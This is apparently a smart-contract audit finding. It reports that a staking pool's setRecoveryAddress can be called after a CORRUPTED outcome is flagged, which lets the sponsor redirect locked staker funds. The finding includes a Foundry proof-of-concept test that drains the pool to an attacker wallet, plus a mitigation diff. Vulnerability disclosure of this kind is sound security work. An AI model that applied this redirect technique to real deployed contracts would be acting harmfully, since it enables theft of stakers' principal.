FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

`recoveryAddress` Mutable After `flagOutcome` Allows Sponsor to Redirect Staker Funds

Author Revealed upon completion

Root + Impact

Description

  • recoveryAddress is the sweep destination for all CORRUPTED-path transfers. DESIGN.md §10 documents it as a pool parameter stakers should verify before depositing; once the registry reaches UNDER_ATTACK, withdraw is permanently disabled and stakers are locked in.

  • setRecoveryAddress has no resolution-state guard and succeeds in any outcome phase. Both sweep functions read recoveryAddress live at execution time, so a post-flag redirect takes effect immediately — after stakers can no longer exit.

function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
@> // no outcome guard — callable after flagOutcome(CORRUPTED, ...)
if (newRecoveryAddress == address(0)) revert InvalidRecoveryAddress();
recoveryAddress = newRecoveryAddress;
}
@> stakeToken.safeTransfer(recoveryAddress, toSweep); // claimCorrupted L423
@> stakeToken.safeTransfer(recoveryAddress, amount); // sweepUnclaimedCorrupted L468

Risk

Likelihood:

  • A sponsor calls setRecoveryAddress between flagOutcome(CORRUPTED, ...) and the sweep — on a sequenced L2 all three fit in one block, making the redirect unobservable before funds move.

  • The sponsor is a documented trusted role, but their trust surface is pre-deposit parameter setting. A malicious address set from day one would never attract stakers; the harm is specifically the ability to switch after stakers are locked in.

Impact:

  • The entire pool balance sweeps to the attacker-controlled address in the bad-faith CORRUPTED path — 100% loss of staker principal and bonus.

  • Stakers have no recourse: claimSurvived and claimExpired both revert on a CORRUPTED outcome.

Proof of Concept

Save as test/unit/POC_RecoveryAddressRedirect.t.sol and run:

forge test --match-path "test/unit/POC_RecoveryAddressRedirect.t.sol" -vv
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract POC_RecoveryAddressRedirect is BaseConfidencePoolTest {
address internal attackerWallet;
function setUp() public override {
super.setUp();
attackerWallet = makeAddr("attackerWallet");
}
// POC 1 — Bad-faith CORRUPTED: full pool drained to attacker
// On a sequenced L2, flagOutcome + setRecoveryAddress + claimCorrupted fit in one block.
function testPOC_BadFaithCorrupted_SponsorRedirectsAllFunds() external {
_stake(alice, 100 * ONE);
_stake(bob, 50 * ONE);
_contributeBonus(carol, 30 * ONE);
uint256 poolBalance = token.balanceOf(address(pool));
_passThroughUnderAttack();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(alice);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool.withdraw(); // stakers locked — no exit
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
pool.setRecoveryAddress(attackerWallet); // EXPLOIT: no revert post-flag
pool.claimCorrupted();
assertEq(token.balanceOf(recovery), 0, "VULN: legitimate recovery got nothing");
assertEq(token.balanceOf(attackerWallet), poolBalance, "VULN: attacker drained 100%");
}
// POC 2 — Good-faith CORRUPTED: post-deadline sweep hijacked
function testPOC_GoodFaithCorrupted_SponsorHijacksPostDeadlineSweep() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 20 * ONE);
_passThroughUnderAttack();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, makeAddr("whitehat"));
vm.warp(pool.corruptedClaimDeadline() + 1);
pool.setRecoveryAddress(attackerWallet); // EXPLOIT: redirect before permissionless sweep
pool.sweepUnclaimedCorrupted();
assertEq(token.balanceOf(recovery), 0, "VULN: legitimate recovery got nothing");
assertEq(token.balanceOf(attackerWallet), 120 * ONE, "VULN: attacker received full sweep");
}
}

Recommended Mitigation

Lock setRecoveryAddress once the outcome is set, mirroring the expiryLocked and scopeLocked patterns already used in the contract. This ensures the sweep destination observed by stakers at deposit time cannot change after they are locked in.

function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
+ if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (newRecoveryAddress == address(0)) revert InvalidRecoveryAddress();
address oldRecoveryAddress = recoveryAddress;
recoveryAddress = newRecoveryAddress;
emit RecoveryAddressUpdated(oldRecoveryAddress, newRecoveryAddress);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!